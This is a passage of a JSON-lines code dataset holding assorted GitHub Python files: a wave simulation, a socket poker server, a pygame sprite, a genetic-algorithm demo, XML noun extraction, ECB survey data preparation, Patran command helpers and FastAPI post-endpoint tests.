%4.1f)' % (i, i * TIME_INTERVAL_MINIMUM),color='w', transform=plt.gca().transAxes)\n            \n\n        if driving_force:\n            U_n1[0] = U0(i * TIME_INTERVAL_MINIMUM)\n\n        U_n2[1:N_POINTS-1] = (2 * U_n1[1:N_POINTS-1]-U_n0[1:N_POINTS-1]+(speed[1:N_POINTS-1] / proper_speed)**2 * (U_n1[2:N_POINTS]+U_n1[0:N_POINTS-2]-2 * U_n1[1:N_POINTS-1] ))\n\n        U_n0 = np.copy(U_n1)\n        U_n1 = np.copy(U_n2)\n\n        plt.draw()\n        plt.pause(1e-10)\n\n\nif __name__ == \"__main__\":\n    os.system('python3 -m pip install tqdm matplotlib numpy')\n    main(True)\n","repo_name":"andremicci/Preparazione-esame","sub_path":"Compito3_2/sine-wave-string.py","file_name":"sine-wave-string.py","file_ext":"py","file_size_in_byte":2126,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"19007552797","text":"import socket\nimport threading\nfrom Settings import *\nfrom game import Poker\nimport json\nimport time\n\n\n# def handle_client(self, conn):\n# \tconnected = True\n# \twhile connected:\n# \t\tmessage = receive_msg(conn)\n# \t\tif message == DISCONNECT_MESSAGE:\n# \t\t\tconnected = False\n#\n#\n# # conn.close()\n#\n# def client_threads(self):\n# \tfor client in self.clients:\n# \t\tthreading.Thread(target=self.handle_client, args=(client,))\n\n\ndef json_send(message):\n\treturn json.dumps(message).encode(FORMAT)\n\n\ndef broadcast(message):\n\tglobal CLIENTS\n\tfor client in CLIENTS:\n\t\tclient.sendall(json_send(message))\n\n\ndef receive_msg(connection):\n\tdata = connection.recv(1024)\n\tdata = json.loads(data.decode(FORMAT))\n\treturn data\n\n\ndef poker_handle():\n\tglobal THREADS, CLIENTS\n\twhile True:\n\t\tif len(CLIENTS) == 2:\n\t\t\tbroadcast(\"Zaczynamy\")\n\t\t\tbreak\n\ttime.sleep(1.0)\n\tPoker(10, CLIENTS, CONNECTED)\n\n\ndef start():\n\tglobal CLIENTS, THREADS, CONNECTED\n\tserver.listen()\n\tprint(f\"[LISTENING] Server is running and listening on {SERVER}\")\n\n\tpoker_thread = threading.Thread(target=poker_handle)\n\tpoker_thread.start()\n\n\twhile True:\n\t\tconn, addr = server.accept()\n\t\tnickname = receive_msg(conn)\n\t\tconn.sendall(json_send(f\"Connected successfully, welcome {nickname}\"))\n\t\tCLIENTS[conn] = [addr]\n\t\tCONNECTED[nickname] = []\n\t\t# thread = threading.Thread(target=handle_client, args=(conn, ))\n\t\t# THREADS.append(thread)\n\t\t# thread.start()\n\t\t# print(f\"[ACTIVE CONNECTIONS] {threading.active_count() - 2}\")\n\t\tprint(f\"[ACTIVE CONNECTIONS] {len(CONNECTED)}\")\n\n\nif __name__ == '__main__':\n\tCONNECTED = {}\n\tCLIENTS = {}\n\tTHREADS = []\n\tserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\tserver.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\tserver.bind(ADDR)\n\tserver.listen()\n\n\tprint(\"[STARTING] server is starting...\")\n\tstart()\n","repo_name":"Scyneo/Poker","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"71920170170","text":"import os\nimport pygame\nfrom dotenv import load_dotenv\n\n\nload_dotenv()\nGAME_BORDER_LEFT = int(os.environ.get('GAME_BORDER_LEFT') or 240)\nGAME_BORDER_RIGHT = int(os.environ.get('GAME_BORDER_RIGHT') or 580)\n\n\nclass Player(pygame.sprite.Sprite):\n    def __init__(self, posX, posY, speed):\n        super().__init__()\n        self.image = pygame.image.load('sprites/player.png').convert_alpha()\n        self.rect = self.image.get_rect()\n        self.posX = posX\n        self.posY = posY\n        self.speed = speed\n        self.rect.center = [self.posX, self.posY]\n\n    def update(self, direction):\n        if direction == \"right\":\n            if self.posX < GAME_BORDER_RIGHT:\n                self.posX += self.speed\n\n        if direction == 'left':\n            if self.posX > GAME_BORDER_LEFT:\n                self.posX -= self.speed\n\n        self.rect.center = [self.posX, self.posY]\n","repo_name":"anthonyleier/road-fighter","sub_path":"classes/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
+{"seq_id":"36787702337","text":"from Population import Population\n\n# define the variables that can be tweaked\ntarget = 'To be or not to be.'\npopMax = 150\nmutationRate = 0.01\n\npopulation = Population(target, mutationRate, popMax)\n\ngeneration = 0\nwhile(True):\n    population.naturalSelection()\n    population.generate()\n    population.calcFitness()\n    print('\"' + str(population.getBest()) + '\"' +\n          ' in generation :' + str(population.generation))\n    if population.finished:\n        break\n","repo_name":"agniswarm/Infinite-monkey","sub_path":"mainfile.py","file_name":"mainfile.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"15760846538","text":"import xml.etree.ElementTree as ET\nimport collections\nfrom itertools import chain\nimport os\nfrom datetime import datetime\n\n\ndef reviews_noun_extractor(dir_target, destination_file):\n\n    \"\"\"Extracts all the nouns in all the reviews of the reviews dataset\n\n    Args:\n        dir_target(str): The directory that contain the \".xml\" files with the reviews\n\n        destination_file(str): The \".txt\" file that will contain all the nouns extracted\n        from the reviews\n\n    Returns:\n        None\n    \"\"\"\n    \n    #tags for nouns:\n    desired_POS=[\"NN\", \"NNS\", \"NNP\", \"NNPS\"] \n    \n    #clear file, in case it already exists:\n    open(destination_file, 'w').close() \n\n    #trasversing all the \".xml\" files of the database:\n    for file in os.listdir(dir_target):\n        current_directory = os.path.join(dir_target, file)\n        single_review_noun_extractor(current_directory, desired_POS, destination_file)  \n       \n\ndef single_review_noun_extractor(file_name, desired_POS, destination_file):\n\n    \"\"\"Extracts all the nouns contained in each \".xml\" file of the reviews dataset,\n        given a certain grammatical class.\n        PEN treebank POS-tags for nouns are available at:  \n        https://www.ling.upenn.edu/courses/Fall_2003/ling001/penn_treebank_pos.html\n\n    Args:\n        file_name(str): The \".xml\" file to be parsed\n        \n        desired_POS (list): A list containing the tags for nouns;\n        desired_POS=[\"NN\", \"NNS\", \"NNP\", \"NNPS\"] \n\n        destination_file (str): This \".txt\" file will contain all the nouns\n        extracted from all the reviews in the dataset\n\n    Returns:\n        None\n    \"\"\"\n    tree = ET.parse(file_name)\n    root = tree.getroot()\n    \n    #find all elements of the xml tree that is labeled as \"sentence\":\n    element = root.findall(\".//sentence\")\n\n    desired_tokens = []\n\n    for sentence in element:\n        #find all the tokens in the xml tree:\n        sentence.findall(\".//token\")\n        for tokens in sentence:\n            for token in tokens:\n                #<word> and <POS> are children of the tolken element:\n                for token_child in token: \n                    #appends if the desired tag is \"POS\" and it's content \"text\" is a noun:\n                    if token_child.tag ==\"POS\" and token_child.text in desired_POS:\n                        desired_tokens.append(token)\n                        \n    desired_nouns=[]\n\n    #content is a token of the xml tree:\n    for content in desired_tokens:\n        #content_child is a token_child of the xml tree\n        for content_child in content:\n            #appends the word attribute(noun) contained in content:\n            if content_child.tag == \"word\":\n                #content_child_text is a word which grammatical class is noun:\n                content_child_text = content_child.text.lower()\n                desired_nouns.append(content_child_text)\n              \n\n    with open(destination_file, 'a+', encoding=\"utf-8\") as f:\n        print(' '.join(desired_nouns), file=f)","repo_name":"andlzanon/WordSimilarityRecommender","sub_path":"module/reviews.py","file_name":"reviews.py","file_ext":"py","file_size_in_byte":2992,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"5518383758","text":"from MOEAD.pop_init import pop_init\nfrom model_build import model_build\nfrom train_tf import train as fitness\nimport pandas as pd\nimport numpy as np\nfrom MOEAD.fast_nondominated_sort import fast_non_dominated_sort as Sort\n\n\ndef initial_pop(moead):\n    print(\n        '***************************************************************************************************************************')\n    print(\n        '**************************************************** Initialization *******************************************************')\n\n    # ############ 1.generate initial population #########################\n    # randomly generate population\n    pop = pop_init(moead.individual_num, moead.gene_num)\n    # build model and calculate the fitness\n    for i in range(moead.individual_num + 1):\n        print(\"Initialization: The %dth individual\" % (i + 1))\n        mse, std = fitness(moead, pop[i])\n        pop[i][moead.gene_num] = mse\n        pop[i][moead.gene_num + 1] = std\n    # save the initial population\n    # print(pop)\n    inv_y = pd.DataFrame(pop)\n    inv_y.to_csv(moead.save_filename+'pop_init_1.csv', header=False, index=False)\n\n    ################ 2.load existed initial population######################\n    # pop = pd.read_csv('result/pop_init_1.csv', header=None)\n    # pop = np.array(pop)\n    return pop\n","repo_name":"sxfy-hpd/moead_wind-speed","sub_path":"initial_pop.py","file_name":"initial_pop.py","file_ext":"py","file_size_in_byte":1325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"15303032747","text":"import matplotlib.pyplot as plt\nfrom matplotlib.patches import Ellipse\nfrom math import sqrt\n\nsmajor_axes = [\n    9.27e-2,\n    1.10e-1,\n    1.57e-1,\n    1.97e-1,\n    2.54e-1,\n    4.72e-1\n]\n\neccentricities = [\n    0.045,\n    0.026,\n    0.004,\n    0.012,\n    0.013,\n    0.015\n]\n\nsminor_axes = [sqrt(i**2 * (1 - j**2)) for i, j in zip(smajor_axes, eccentricities)]\n\ncolors = [\n    '#0000ff',\n    '#00ff00',\n    '#00ffff',\n    '#ff0000',\n    '#ff00ff',\n    '#000000'\n]\n\nplt.title(\"Orbits of Kepler-11\")\nax = plt.subplot()\nfor i, j, k in zip(smajor_axes, sminor_axes, colors):\n    ax.add_artist(Ellipse((0, 0), 2*i, 2*j, color=k,fill=False))\nplt.xlim((-0.5, 0.5))\nplt.ylim((-0.5, 0.5))\nplt.xlabel(\"Semimajor axis [au]\")\nplt.ylabel(\"Semiminor axis [au]\")\nplt.show()\n","repo_name":"bdngo/astro-7a","sub_path":"ps02/ps02.py","file_name":"ps02.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"29465947359","text":"class Tienda:\n    def __init__(self):\n        self.carro = []\n\n    def agregarProducto(self, producto):\n        self.carro.append(producto)\n\n    def calcularDescuentos(self):\n        descuentos = 0\n        for producto in self.carro:\n            descuentos += producto.descuento()\n        return descuentos\n\n    def calcularDespacho(self, tipoDespacho):\n        valor_productos = sum(producto.precio() for producto in self.carro)\n        if tipoDespacho == 0:\n            return valor_productos * 0.2\n        elif tipoDespacho == 1:\n            return valor_productos * 0.3\n\n    def checkout(self, tipoDespacho, direccion):\n        descuentos = self.calcularDescuentos()\n        despacho = self.calcularDespacho(tipoDespacho)\n        valor_productos = sum(producto.precio() for producto in self.carro)\n        impuesto = 0\n        if \"chile\" in direccion.lower():\n            impuesto = valor_productos * 0.2\n        total_pagar = valor_productos - descuentos + despacho + impuesto\n        return total_pagar\n\n\nclass Producto:\n    def __init__(self, nombre, precio, descuento):\n        self.nombre = nombre\n        self.precio_base = precio\n        self.descuento_porcentaje = descuento\n\n    def descuento(self):\n        return self.precio_base * (self.descuento_porcentaje / 100)\n\n    def precio(self):\n        return self.precio_base - self.descuento()\n\n\nif __name__ == \"__main__\":\n    tienda = Tienda()\n\n    producto1 = Producto(\"Camiseta\", 20000, 10)\n    producto2 = Producto(\"Pantalón\", 30000, 20)\n    producto3 = Producto(\"Zapatos\", 50000, 15)\n\n    tienda.agregarProducto(producto1)\n    tienda.agregarProducto(producto2)\n    tienda.agregarProducto(producto3)\n\n    tipoDespacho = 0  # Despacho Aéreo Normal\n    direccion = \"Alameda 340 Santiago Chile\"\n\n    total_pagar = tienda.checkout(tipoDespacho, direccion)\n    print(\"Total a pagar:\", total_pagar)\n","repo_name":"pabloschwarzenberg/grader","sub_path":"tema8_ej1/tema8_ej1_f6442c8eb1aee058df26af9c389c6ac3.py","file_name":"tema8_ej1_f6442c8eb1aee058df26af9c389c6ac3.py","file_ext":"py","file_size_in_byte":1860,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"41224018055","text":"\"\"\"\nECB Survey of Professional Forecasters\n\nDATA PREPARATION SCRIPT\n\nThis script is used to download, clean a manipulate the data before analysis.\n\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nfrom sklearn import linear_model\n\n# load the data\nspf = pd.read_csv('/Users/Marek/Dropbox/Master_Thesis/Data/SPF/data.csv',\n                  dtype={\n                          \"KEY\": object,\n                          \"FREQ\": object,\n                          \"REF_AREA\": object,\n                          \"FCT_TOPIC\": object,\n                          \"FCT_BREAKDOWN\": object,\n                          \"FCT_HORIZON\": object,\n                          \"SURVEY_FREQ\": object,\n                          \"FCT_SOURCE\": object,\n                          \"TIME_PERIOD\": object,\n                          \"OBS_VALUE\": float,\n                          \"OBS_STATUS\": object,\n                          \"OBS_CONF\": object,\n                          \"OBS_PRE_BREAK\": float,\n                          \"OBS_COM\": float,\n                          \"TIME_FORMAT\": float,\n                          \"COLLECTION\": object,\n                          \"COMPILING_ORG\": float,\n                          \"DISS_ORG\": float,\n                          \"DECIMALS\": int,\n                          \"SOURCE_AGENCY\": object,\n                          \"TITLE\": object,\n                          \"TITLE_COMPL\": object,\n                          \"UNIT\": object,\n                          \"UNIT_MULT\": int\n                          }\n                  )\n\n# workaround for functioning caused by bug in jedi package\nspf = pd.DataFrame(spf)\n\n# global filter\nspf = spf[\n        (spf['FCT_TOPIC'].isin([\"UNEM\", \"RGDP\", \"HICP\"])) &\n        (spf['FCT_BREAKDOWN'] == \"POINT\") &\n        (~spf['FCT_SOURCE'].isin([\"AVG\", \"VAR\", \"NUM\"]))\n        ]\n\n###############################\n# raw (unbalanced) panel data #\n###############################\n\n\n# function to create and fill a DataFrame with raw panel data\ndef create_raw_df(FCT_TOPIC, FREQ, FCT_HORIZON_prof,\n                  FCT_HORIZON_ecb, t_start, t_end):\n\n    # preparation DataFrame\n    prep_df = pd.DataFrame(\n                        spf[\n                            (spf['FCT_TOPIC'] == FCT_TOPIC) &\n                            (spf['FREQ'] == FREQ) &\n                            (spf['FCT_HORIZON'].isin([FCT_HORIZON_prof,\n                             FCT_HORIZON_ecb]))\n                            ]\n                        )\n\n    # initialize the DataFrame\n    df = pd.DataFrame(\n                index=prep_df[\"TIME_PERIOD\"].unique(),\n                columns=prep_df['FCT_SOURCE'].unique()\n                )\n\n    # fill the DataFrame\n    for i in df.index:\n        for j in df.columns:\n            input_value = prep_df[\n                                    (prep_df[\"TIME_PERIOD\"] == i) &\n                                    (prep_df[\"FCT_SOURCE\"] == j)\n                                ].OBS_VALUE\n\n            if input_value.empty:\n                df.loc[i, j] = np.nan\n            else:\n                df.loc[i, j] = float(input_value)\n\n    # index to datetime value\n    df.index = pd.to_datetime(df.index)\n\n    # sort by index\n    df.sort_index(inplace=True)\n\n    # cut the selected time period\n    df = df[\n            (df.index >= pd.to_datetime(t_start)) &\n            (df.index <= pd.to_datetime(t_end))\n           ]\n\n    # return the raw DataFrame\n    return pd.DataFrame(df)\n\n\n# real GDP 1Y horizon\nspf_raw_RGDP_1Y = create_raw_df(FCT_TOPIC=\"RGDP\", FREQ=\"Q\",\n                                FCT_HORIZON_prof=\"P9M\", FCT_HORIZON_ecb=\"M3M\",\n                                t_start=\"1999-07-01\", t_end=\"2017-07-01\")\n\n# real GDP 2Y horizon\nspf_raw_RGDP_2Y = create_raw_df(FCT_TOPIC=\"RGDP\", FREQ=\"Q\",\n                                FCT_HORIZON_prof=\"P21M\", FCT_HORIZON_ecb=\"M3M\",\n                                t_start=\"2000-07-01\", t_end=\"2017-07-01\")\n\n# HICP (inflation) 1Y horizon\nspf_raw_HICP_1Y = create_raw_df(FCT_TOPIC=\"HICP\", FREQ=\"M\",\n                                FCT_HORIZON_prof=\"P12M\", FCT_HORIZON_ecb=\"M0M\",\n                                t_start=\"1999-12-01\", t_end=\"2017-12-01\")\n\n# HICP (inflation) 2Y horizon\nspf_raw_HICP_2Y = create_raw_df(FCT_TOPIC=\"HICP\", FREQ=\"M\",\n                                FCT_HORIZON_prof=\"P24M\", FCT_HORIZON_ecb=\"M0M\",\n                                t_start=\"2000-12-01\", t_end=\"2017-12-01\")\n\n# unemployment 1Y horizon, correction for delayed survey\nspf_raw_UNEM_1Y = create_raw_df(FCT_TOPIC=\"UNEM\", FREQ=\"M\",\n                                FCT_HORIZON_prof=\"P12M\", FCT_HORIZON_ecb=\"M0M\",\n                                t_start=\"1999-11-01\", t_end=\"2017-11-01\")\n\nspf_raw_UNEM_1Y.loc[\"2000-11-01\", \"001\":] = np.array(\n        spf_raw_UNEM_1Y.loc[\"2000-12-01\", \"001\":]\n        )\n\nspf_raw_UNEM_1Y.loc[\"1999-11-01\", \"ECB\"] = np.array(\n        spf_raw_UNEM_1Y.loc[\"1999-12-01\", \"ECB\"]\n        )\n\nspf_raw_UNEM_1Y = spf_raw_UNEM_1Y[~spf_raw_UNEM_1Y.index.isin([\"2000-12-01\",\n                                                              \"1999-12-01\"])]\n\n\n# unemployment 2Y horizon, correction for delayed survey\nspf_raw_UNEM_2Y = create_raw_df(FCT_TOPIC=\"UNEM\", FREQ=\"M\",\n                                FCT_HORIZON_prof=\"P24M\", FCT_HORIZON_ecb=\"M0M\",\n                                t_start=\"2000-11-01\", t_end=\"2017-11-01\")\n\nspf_raw_UNEM_2Y.loc[\"2001-11-01\", \"001\":] = np.array(\n        spf_raw_UNEM_2Y.loc[\"2001-12-01\", \"001\":]\n        )\n\nspf_raw_UNEM_2Y = spf_raw_UNEM_2Y[spf_raw_UNEM_2Y.index != \"2001-12-01\"]\n\n#######################\n# balanced panel data #\n#######################\n\n\n# function to create and fill a DataFrame with balanced panel data\ndef create_balanced_df(df):\n    \"\"\"\n    This function balances the panels of professional forecasters.\n\n    For balancing, is used the method proposed by Genre et. al. (2013).\n    Firstly, only the forecasters with no more than 4 consecutive observations\n    are kept. Secondly, the missing observations are imputed using the linear\n    filter. The beta is estimated from the following equation:\n\n        Dev_{t} = Beta * Dev_{t-1} + Epsilon_{t},\n\n    where Dev is deviation from the mean forecast of all forecasters. Then,\n    the estimated beta is used to impute forward the missing observations and\n    for simplification also missing observations from the beggining of the\n    sample (in case there are any).\n\n\n    Parameters\n    ----------\n    df : DataFrame\n        DataFrame containing the raw dataset\n\n    Returns\n    -------\n    DataFrame\n        DataFrame containing the balanced panels\n\n    \"\"\"\n    # initialize vector determining which collumns to keep\n    keep = np.full(df.shape[1], True)\n\n    # only professionals with no more than 4 consecutive NaNs are kept\n    for j in range(df.shape[1]):\n        # amount of consecutive NaNs of a given professional\n        current_cons_nan = 0\n        max_cons_nan = 0\n\n        for i in range(df.shape[0]):\n\n            if np.isnan(df.iloc[i, j]):\n                current_cons_nan += 1\n\n                # in case of the last row, update immediately\n                if (i == df.shape[0]-1) & (current_cons_nan > max_cons_nan):\n                    max_cons_nan = current_cons_nan\n            else:\n                if current_cons_nan > max_cons_nan:\n                    max_cons_nan = current_cons_nan\n\n                current_cons_nan = 0\n\n        if max_cons_nan > 4:\n            keep[j] = False\n\n    # keep the frequently responding professionals\n    df = pd.DataFrame(df.loc[:, keep])\n\n    # for each professional (exclude ECB), calculate the deviation from the\n    # mean forecast and regress it on its lagged value, then use the beta to\n    # imput the missing values\n    mean_forecast = np.mean(df.iloc[:, 1:], axis=1)\n\n    for j in range(1, df.shape[1]):\n\n        dev_from_mean = df.iloc[:, j] - mean_forecast\n        lag_dev_from_mean = dev_from_mean.shift(periods=1)\n\n        # drop the NaNs before running the regression\n        reg_mat = pd.concat([lag_dev_from_mean, dev_from_mean],\n                            axis=1).dropna()\n\n        # create linear regression object\n        lin_reg = linear_model.LinearRegression(fit_intercept=False)\n\n        # fit the model\n        lin_reg.fit(reg_mat.iloc[:, 0].values.reshape(-1, 1),\n                    reg_mat.iloc[:, 1].values.reshape(-1, 1))\n\n        # store the estimated beta\n        beta = lin_reg.coef_\n\n        # find the postition of first non-nan observation\n        first_obs_pos = np.nan\n        k = 0\n        while (np.isnan(first_obs_pos) & (k <= df.shape[0])):\n            if (~np.isnan(df.iloc[k, j])):\n                first_obs_pos = k\n            k += 1\n\n        # forward imputation of missing observations\n        for i in range(first_obs_pos+1, df.shape[0]):\n            if (np.isnan(df.iloc[i, j])):\n                # imputed value = mean forecast + beta * past deviation\n                df.iloc[i, j] = float(\n                        mean_forecast[i] + beta * dev_from_mean[i-1])\n                # update the deviation from the mean vector\n                dev_from_mean[i] = float(df.iloc[i, j] - mean_forecast[i])\n\n        # backward imputation of missing observations\n        if first_obs_pos != 0:\n            for i in range(first_obs_pos-1, -1, -1):\n                # mean forecast + beta fraction of the first measured\n                # deviation (simplification)\n                df.iloc[i, j] = float(\n                        mean_forecast[i] + beta*dev_from_mean[first_obs_pos])\n\n    return pd.DataFrame(df, dtype=float)\n\n\n# real GDP 1Y horizon\nspf_bal_RGDP_1Y = create_balanced_df(spf_raw_RGDP_1Y)\n\n# real GDP 2Y horizon\nspf_bal_RGDP_2Y = create_balanced_df(spf_raw_RGDP_2Y)\n\n# HICP (inflation) 1Y horizon\nspf_bal_HICP_1Y = create_balanced_df(spf_raw_HICP_1Y)\n\n# HICP (inflation) 2Y horizon\nspf_bal_HICP_2Y = create_balanced_df(spf_raw_HICP_2Y)\n\n# unemployment 1Y horizon, correction for delayed survey\nspf_bal_UNEM_1Y = create_balanced_df(spf_raw_UNEM_1Y)\n\n# unemployment 2Y horizon, correction for delayed survey\nspf_bal_UNEM_2Y = create_balanced_df(spf_raw_UNEM_2Y)\n\n###############\n# END OF FILE #\n###############\n","repo_name":"MarekLipan/master_thesis_sc","sub_path":"spf_data_preparation.py","file_name":"spf_data_preparation.py","file_ext":"py","file_size_in_byte":10075,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"8521472740","text":"from tkinter import filedialog\n\ndef create_points(Idx, xyzs, coord):\n    patran_command = 'STRING asm_create_grid_xyz_created_ids[VIRTUAL]\\n'\n    patran_command += 'asm_const_grid_xyz( \"%s\",\"%s\", \"%s\",asm_create_grid_xyz_created_ids)\\n'%(Idx, xyzs, coord)\n    \n    return patran_command\n\ndef create_nodes(Idx, xyzs, coord):\n    patran_command = 'STRING fem_create_nodes__nodes_created[VIRTUAL]\\n'\n    patran_command += 'fem_create_nodes_1( \"%s\",\"%s\",3,\"%s\",\"%s\",fem_create_nodes__nodes_created)\\n'%(coord, coord, Idx, xyzs )\n    \n    return patran_command\n\ndef create_loadcase(action, lcn, lc, zf, lcf):\n    if action == \"Create\":\n        patran_command = 'loadcase_create2( \"%s\", \"Static\", \"\", 1., %s , %s, %s, \"\", 0., TRUE )\\n'%(lcn, lc, zf, lcf)\n    elif action == \"Modify\":\n        patran_command = 'loadcase_modify2( \"%s\", \"%s\", \"Static\", \"\", 1., %s , %s, %s, \"\", 0., TRUE )\\n'%(lcn, lcn, lc, zf, lcf)\n\n    return patran_command\n\ndef create_fem_field(action, field_name, EntyType, FieldTyp, cnt, Entity, fld):\n    if action == \"Create\":\n        patran_command = 'fields_create_dfem( \"%s\", \"%s\", \"%s\", %d, %s, %s)\\n'%(field_name, EntyType, FieldTyp, cnt, Entity, fld)\n    elif action == 'Modify':\n        patran_command = 'fields_create_dfem( \"%s\", \"%s\", \"%s\", %d, %s, %s)\\n'%(field_name, EntyType, FieldTyp, cnt, Entity, fld)\n        patran_command = 'fields_modify_dfem( \"%s\", \"%s\", \"%s\", \"%s\", %d, %s, %s)\\n'%(field_name,field_name, EntyType, FieldTyp, cnt, Entity, fld)\n        \n    patran_command = patran_command.replace(\"'\",'\"')\n    patran_command = patran_command.replace(\"None\",'')\n\n    return patran_command\n\n\ndef create_load(action, load_type, app_type, EntType, ln, app_reg, cno, sf, F):\n\n    ''' load_type\n    CID Distributed Load , Force, Total Load\n        app_type\n    'Element Uniform' for CID Distributed Load, Total Load\n    'Nodal' for Force \n    '''\n    if load_type == \"Force\":\n        loads = '[\"%s\", \"%s\", \"%s\", \"%s\"], [\"\", \"\", \"\", \"\"]'%(F[0], F[1], F[2], F[3])\n    elif load_type == \"Pressure\":\n        loads = '[\"%s\", \"%s\", \"%s\"], [\"\", \"\", \"\"]'%(F[0], F[1], F[2])        \n    elif load_type == \"CID Distributed Load\":\n        loads = '[\"%s\", \"%s\"], [\"\", \"\"]'%(F[0], F[1])\n    elif load_type == \"Total Load\":\n        loads = '[\"%s\", \"%s\"], [\"\", \"\"]'%(F[0], F[1])\n    \n    if action == 'Create':    \n        patran_command = 'loadsbcs_create2( \"%s\", \"%s\", \"%s\", \"%s\", \"Static\", %s , \"FEM\", \"%s\", \"%s\",'%(ln, load_type, app_type, EntType, app_reg, cno, sf)\n    elif action == 'Modify':\n        patran_command = 'loadsbcs_modify2( \"%s\", \"%s\", \"%s\", \"%s\", \"%s\", \"Static\", %s , \"FEM\", \"%s\", \"%s\",'%(ln, ln, load_type, app_type, EntType, app_reg, cno, sf)\n    \n    patran_command += loads +')'\n\n    return patran_command\n\n\n\n#def create_elements(oup_id):\n#STRING fem_create_elemen_elems_created[VIRTUAL]\n#fem_create_elems_1( \"Bar\" , \"Bar2\", \"9001\",\"Standard\", 3,\"Node 14797\",\"Node 7420\",  \"\", \"\", \"\", \"\", \"\", \"\", fem_create_elemen_elems_created )\n#    patran_command = \"fem_create_elems_1(%s)\" % \",\".join([elem_type, topo_type, elem_id, \"Standard\", 3, node_1, node_2, \"fem_create_elemen_elems_created\"])\n#    return patran_command","repo_name":"wjeongx/PatranCommandSession","sub_path":"PatranCommandSession/PatranCommand.py","file_name":"PatranCommand.py","file_ext":"py","file_size_in_byte":3152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"20736687533","text":"from typing import List\nimport pytest\nfrom app import schemas\n\n\ndef test_get_all_posts(authorized_client, test_posts):\n    res = authorized_client.get(\"/posts/\")\n    def validate(post):\n        return schemas.PostOut(**post)\n    posts_map = map(validate, res.json())\n    posts_list = list(posts_map)\n    \n    assert len(res.json()) == len(test_posts)\n    assert res.status_code == 200\n\ndef test_unauthorized_user_get_posts(client, test_posts):\n    res = client.get(\"/posts/\")\n    assert res.status_code == 401\n\ndef test_unauthorized_user_get_post(client, test_posts):\n    res = client.get(f\"/posts/{test_posts[0].id}\")\n    assert res.status_code == 401\n\ndef test_na_post(authorized_client, test_posts):\n    res = authorized_client.get(\"/posts/8888\")\n    assert res.status_code == 404\n\ndef test_get_post(authorized_client, test_posts):\n    res = authorized_client.get(f\"/posts/{test_posts[0].id}\")\n    post = schemas.PostOut(**res.json())\n    assert post.Post.id == test_posts[0].id\n    assert post.Post.content == test_posts[0].content\n    assert post.Post.title == test_posts[0].title\n\n@pytest.mark.parametrize(\"title, content, published\", [\n    (\"awesome new title\", \"new content\", True),\n    (\"testing create\", \"oh wow it worked\", False),\n    (\"testing another time\", \"still worked, epic\", True)\n    ])\ndef test_create_post(authorized_client, test_user, test_posts, title, content, published):\n    res = authorized_client.post(\"/posts/\", json={\"title\": title, \"content\": content,\n    \"published\": published})\n\n    created_post = schemas.Post(**res.json())\n    assert res.status_code == 201\n    assert created_post.title == title\n    assert created_post.content == content\n    assert created_post.published == published\n    assert created_post.owner_id == test_user['id']\n\ndef test_create_post_def_pub(authorized_client, test_user, test_posts):\n    res = authorized_client.post(\"/posts/\", json={\"title\": \"something\", \"content\": \"something else\"})\n\n    created_post = schemas.Post(**res.json())\n    assert res.status_code == 201\n    assert created_post.title == \"something\"\n    assert created_post.content == \"something else\"\n    assert created_post.published == True\n    assert created_post.owner_id == test_user['id']\n\ndef test_unauthorized_user_Create_post(client, test_posts, test_user):\n    res = client.post(\"/posts/\", json={\"title\": \"something\", \"content\": \"something else\"})\n    assert res.status_code == 401\n\ndef test_unathorized_user_delete_post(client, test_posts, test_user):\n    res = client.delete(f\"/posts/{test_posts[0].id}\")\n\n    assert res.status_code == 401\n\ndef test_delete_post_success(authorized_client, test_user, test_posts):\n    res = authorized_client.delete(f\"/posts/{test_posts[0].id}\")\n\n    assert res.status_code == 204\n\ndef test_delete_na_post(authorized_client, test_user, test_posts):\n    res = authorized_client.delete(\"/posts/8888\")\n    assert res.status_code == 404\n\ndef test_delete_other_user_post(authorized_client, test_user, test_posts):\n    res = authorized_client.delete(f\"/posts/{test_posts[3].id}\")\n\n    assert res.status_code == 403\n\ndef test_update_post(authorized_client, test_user, test_posts):\n    data = {\n        \"title\": \"updated title\",\n        \"content\": \"updated content\",\n        \"id\": test_posts[0].id\n    }\n\n    res = authorized_client.put(f\"/posts/{test_posts[0].id}\", json=data)\n    updated_post = schemas.Post(**res.json())\n    assert res.status_code == 200\n    assert updated_post.title == data['title']\n    assert updated_post.content == data['content']\n\ndef test_update_other_user_post(authorized_client, test_user, test_user1, test_posts):\n        data = {\n        \"title\": \"updated title\",\n        \"content\": \"updated content\",\n        \"id\": test_posts[3].id\n    }\n        res = authorized_client.put(f\"/posts/{test_posts[3].id}\", json=data)\n        assert res.status_code == 403\n\ndef test_unauthorized_user_update_post(client, test_posts, test_user):\n    res = client.put(f\"/posts/{test_posts[0].id}\")\n    assert res.status_code == 401\n\ndef test_update_na_post(authorized_client, test_user, test_posts):\n    data = {\n        \"title\": \"updated title\",\n        \"content\": \"updated content\",\n        \"id\": test_posts[3].id\n    }\n    res = authorized_client.put(\"/posts/8888\", json=data)\n    assert res.status_code == 